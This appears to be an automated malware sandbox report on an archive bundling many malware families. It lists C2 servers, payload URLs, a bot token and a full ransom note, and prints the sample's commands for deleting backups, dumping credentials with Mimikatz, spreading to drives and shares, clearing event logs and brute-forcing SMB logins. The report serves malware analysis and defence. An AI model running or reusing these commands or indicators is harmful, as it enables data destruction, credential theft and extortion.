Resubmissions
01/11/2026, 05:08
261101-fsw5naas5n18/10/2026, 12:45
261018-py79jszvf118/10/2026, 12:43
261018-px14vazvcx18/10/2026, 12:12
261018-pdnpeaag221003/10/2026, 23:38
261003-3mrz3szy2p01/10/2026, 11:47
261001-nx26ga1bra1027/09/2026, 23:02
260927-2z89fsyx9l1027/09/2026, 22:09
260927-128j9szxex1027/09/2026, 11:54
260927-n3acmsyvez1026/09/2026, 22:37
260926-2j7qpatv8r10Analysis
- max time kernel
179s - max time network
406s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
- submitted
30/11/2025, 12:20
General
- Target Red-Flaged.7z
- Size 328.4MB
- Sample251130-ph6e1shm2v
- SHA256 54942b5bcfc9add448903934fc61f4e02bf2dc6378a65f0aa4af346e858fe9d3
Score
10/10
Malware Config
Extracted
Family
-
metasploit
Version
-
metasploit_stager
C2
-
8.138.101.146:3002
Extracted
Family
-
revengerat
Botnet
-
MAYO24
C2
-
karmina113.sytes.net:3333
-
karmina117.sytes.net:3333
-
karmina118.sytes.net:3333
-
karmina119.sytes.net:3333
-
nibiru3.duckdns.org:3333
-
nibiru4.duckdns.org:3333
-
nibiru5.duckdns.org:3333
-
nibiru6.duckdns.org:3333
Mutex
-
WSCollect
Extracted
Family
-
xred
C2
-
xred.mooo.com
Attributes
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
Family
-
castlerat
C2
-
5.35.44.176
-
77.238.241.203
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
computernewb.com:80
-
discord.horse:80
Mutex
-
4d0a1e0d-08d5-4a14-ba4f-5aa591ac722b
Attributes
-
activate_away_mode
true
-
backup_connection_host
discord.horse
-
backup_dns_server
8.8.4.4
-
buffer_size
65535
-
build_time
2025-04-03T22:24:52.440913136Z
-
bypass_user_account_control
true
- bypass_user_account_control_data
-
clear_access_control
true
-
clear_zone_identifier
false
-
connect_delay
4000
-
connection_port
80
-
default_group
Default
-
enable_debug_mode
true
-
gc_threshold
1.048576e+07
-
keep_alive_timeout
30000
-
keyboard_logging
false
-
lan_timeout
2500
-
max_packet_size
1.048576e+07
-
mutex
4d0a1e0d-08d5-4a14-ba4f-5aa591ac722b
-
mutex_timeout
5000
-
prevent_system_sleep
false
-
primary_connection_host
computernewb.com
-
primary_dns_server
8.8.8.8
-
request_elevation
true
-
restart_delay
5000
-
run_delay
0
-
run_on_startup
true
-
set_critical_process
true
-
timeout_interval
5000
-
use_custom_dns_server
false
-
version
1.2.2.0
-
wan_timeout
8000
Extracted
Family
-
njrat
Version
-
0.7d
Botnet
-
neuf
C2
-
doddyfire.linkpc.net:10000
Mutex
-
e1a87040f2026369a233f9ae76301b7b
Attributes
-
reg_key
e1a87040f2026369a233f9ae76301b7b
-
splitter
|'|'|
Extracted
Family
-
redline
Botnet
-
LIM
C2
-
195.3.223.120:25539
Extracted
Path
-
C:\$Recycle.Bin\S-1-5-21-3534313381-4287935181-1066995225-1000\_README_Yurei.txt
-
yurei
Ransom Note
- --== Yurei ==-- Dear Management, If you are reading this message, it means that: ├─ Your company’s internal infrastructure has been fully or partially compromised. ├─ All your backups — both virtual and physical — and everything we could access have been completely wiped. └─ Additionally, we have exfiltrated a large amount of your corporate data prior to encryption. We fully understand the damage caused by locking your internal resources. Now, let’s set emotions aside and try to build a constructive dialogue. WHAT YOU NEED TO KNOW ├─ Dealing with us will save you a lot — we have no interest in financially destroying you. ├─ We will thoroughly analyze your finances, bank statements, income, savings, and investments, and present a reasonable demand. ├─ If you have active cyber insurance, let us know — we will guide you on how to properly use it. └─ Dragging out negotiations will only cause the deal to fail. PAYMENT BENEFITS ├─ Paying us saves time, money, and effort — you can be back on track within approximately 24 hours. ├─ Our decryptor works perfectly on all files and systems — you can request a test decryption at any time. └─ Attempting recovery on your own may result in permanent file loss or corruption — in such cases, we won’t be able to help. SECURITY REPORT & EXCLUSIVE INFO ├─ The report and first-hand insights we provide upon agreement are invaluable. └─ No full network audit will reveal the specific vulnerabilities we exploited to access your data and infrastructure. WHAT HAPPENED ├─ Your network infrastructure has been compromised. ├─ Critical data has been exfiltrated. └─ Files have been encrypted. WHAT YOU SHOULD NOT DO ├─ Do NOT rename, modify, or delete encrypted files. ├─ Do NOT shut down your system or run antivirus software — this may cause irreversible damage. └─ Do NOT waste time with data recovery companies — they cannot help you. VALUABLE DATA WE USUALLY STEAL ├─ Databases, legal documents, and personal information ├─ Audit reports, SQL databases ├─ Financial documents: statements, invoices, accounting data ├─ Work files and corporate communications ├─ Any backup solutions └─ Confidential documents TO DO LIST (Best Practices) ├─ Contact us as soon as possible via our live chat (only). ├─ Purchase our decryption tool — there is no other way to recover your data. ├─ Avoid third-party negotiators or recovery services. └─ Do not attempt to use public decryption tools — you risk permanent data loss. RESPONSIBILITY ├─ Violating the terms of this offer will result in: │ - Deletion of your decryption keys │ - Immediate sale or public disclosure of your leaked data │ - Notification of regulatory agencies, competitors, and clients --- **CHAT:** Yurei CHAT:http://fewcriet5rhoy66k6c4cyvb2pqrblxtx4mekj3s5l4jjt4t4kn4vheyd.onion/chat/777676f8-2313-425f-873a-65c4df8d5def/chat.php Your Ticket ID: d1d6f65f7d304cd3cfa3a70896d5b455 Blog:http://fewcriet5rhoy66k6c4cyvb2pqrblxtx4mekj3s5l4jjt4t4kn4vheyd.onion YueriSupp:A3C6BA331B0BE0870984452FAC75A72304A33ACF8EF98616643EFD3ECD3CE60A37DADF0DC9E6 --- Thank you for your attention. --- **Important Notes:** - Renaming, copying, or moving encrypted files may break the cipher and make decryption impossible. - Using third-party recovery tools can irreversibly damage encrypted files. - Shutting down or restarting the system may cause boot or recovery errors and further damage the encrypted data.
Extracted
Family
-
darkcloud
Version
-
3.2
C2
-
https://api.telegram.org/bot7747839954:AAG9BtbKdeC5bCetsTczuguNkB-_sqMkSCA/sendMessage?chat_id=7031761897
Extracted
Family
-
raccoon
Botnet
-
5f3e2ed386ddeccffbb4e34c56fc2efd
C2
-
http://136.244.65.99/
-
http://140.82.52.55/
Attributes
-
user_agent
record
rc4.plain
rc4.plain
Extracted
Family
-
marsstealer
Botnet
-
Default
C2
-
werido.ug/kanorgate.php
Signatures
- CaslteBOT
CastleBot is modular trojan first observed in early 2025.
- CastleRAT
CastleRAT is a trojan available in both Python and C variants.
- Castlebot family
- Castlerat family
- Cyborg
Cyborg is a ransomware that has been active since 2022.
- Cyborg family
- DarkCloud
An information stealer written in Visual Basic.
- Darkcloud family
- Detect PurpleFox Rootkit 6 IoCs
Detect PurpleFox Rootkit.
- Detect XClient Payload 2 IoCs
- Detects C variant of CastleRAT. 5 IoCs
- Detects CastleBOT payload 1 IoCs
- Detects Go variant of Hive Ransomware 14 IoCs
- Detects Yurei ransomware 1 IoCs
- Gh0st RAT payload 7 IoCs
- Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Gh0strat family
- Hive
A ransomware written in Golang first seen in June 2021.
- Hive family
- Mars Stealer
An infostealer written in C++ based on other infostealers.
- Marsstealer family
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Metasploit family
- NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Nanocore family
- Njrat family
- PurpleFox
PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.
- Purplefox family
- Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
- Raccoon family
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 2 IoCs
- Redline family
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Revengerat family
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 2 IoCs
- Sectoprat family
- XClient
XClient is a trojan written in C#.
- Xclient family
- Xred
Xred is backdoor written in Delphi.
- Xred family
- Yurei
Yurei is a Golang based ransomware family derived from PrincessLocker.
- Yurei family
- njRAT/Bladabindi
Widely used RAT written in .NET.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Renames multiple (184) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (63) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- RevengeRat Executable 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Deletes backup catalog 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
- Sets service image path in registry 2 TTPs 1 IoCs
- Drops startup file 2 IoCs
- Executes dropped EXE 64 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 39 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Loads dropped DLL 6 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 4 IoCs
Detects Themida, an advanced Windows software protection system.
- VMProtect packed file 4 IoCs
Detects executables packed with VMProtect commercial packer.
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
- Drops autorun.inf file 1 TTPs 4 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 6 IoCs
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 5 IoCs
- UPX packed file 25 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 1 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 58 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 16 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 2 IoCs
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Control Panel 4 IoCs
- Modifies registry class 8 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 12 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 4 IoCs
- Suspicious use of SetWindowsHookEx 24 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Red-Flaged.7z"1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " vssadmin Delete Shadows /All /Quiet wbadmin Delete Catalog -Quiet "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exe"C:\Windows\system32\vssadmin.exe" Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\system32\wbadmin.exe"C:\Windows\system32\wbadmin.exe" Delete Catalog -Quiet3⤵
- Deletes backup catalog
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "2⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $drives = Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} foreach ($drive in $drives) { if ($drive.DriveLetter -and -not (Test-Path ($drive.DriveLetter + \"\\WindowsUpdate.exe\"))) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination ($drive.DriveLetter + \"\\WindowsUpdate.exe\") -Force Remove-Item -Path $tempFile -Force } } "2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-SmbShare | ForEach-Object { $sharePath = $_.Path if ($sharePath -and -not (Test-Path (Join-Path $sharePath \"System32_Backup.exe\"))) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination (Join-Path $sharePath \"System32_Backup.exe\") -Force Remove-Item -Path $tempFile -Force } } "2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "2⤵
- Command and Scripting Interpreter: PowerShell
- Indicator Removal: Clear Windows Event Logs
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ admin /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ password /user:administrator2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ qwerty /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 123456 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ letmein /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ welcome /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ passw0rd /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ administrator /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ test /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ password /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 1234 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ admin /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 123456 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ letmein /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ welcome /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ qwerty /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ passw0rd /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ administrator /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 1234 /user:admin2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ test /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ admin /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ password /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 123456 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ qwerty /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ passw0rd /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ administrator /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ administrator /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ passw0rd /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ welcome /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ letmein /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ password /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 1234 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 123456 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ 1234 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ qwerty /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ letmein /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ test /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ welcome /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ admin /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.203\IPC$ test /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ admin /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ password /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 123456 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ qwerty /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ letmein /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ welcome /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ passw0rd /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ administrator /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 1234 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ test /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ admin /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ password /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 123456 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ qwerty /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ letmein /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ welcome /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ administrator /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ passw0rd /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 1234 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ test /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ admin /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ password /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 123456 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ qwerty /user:guest2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ letmein /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ letmein /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ welcome /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ welcome /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ passw0rd /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ administrator /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 1234 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ test /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ passw0rd /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ admin /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ administrator /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ qwerty /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ password /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 123456 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ 1234 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.1.89\IPC$ test /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ admin /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ password /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 123456 /user:administrator2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ administrator /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ letmein /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ welcome /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ qwerty /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ passw0rd /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 1234 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ test /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ admin /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ password /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 123456 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ qwerty /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ letmein /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ welcome /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ passw0rd /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ administrator /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 1234 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ test /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ admin /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ password /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 123456 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ qwerty /user:guest2⤵
-
-
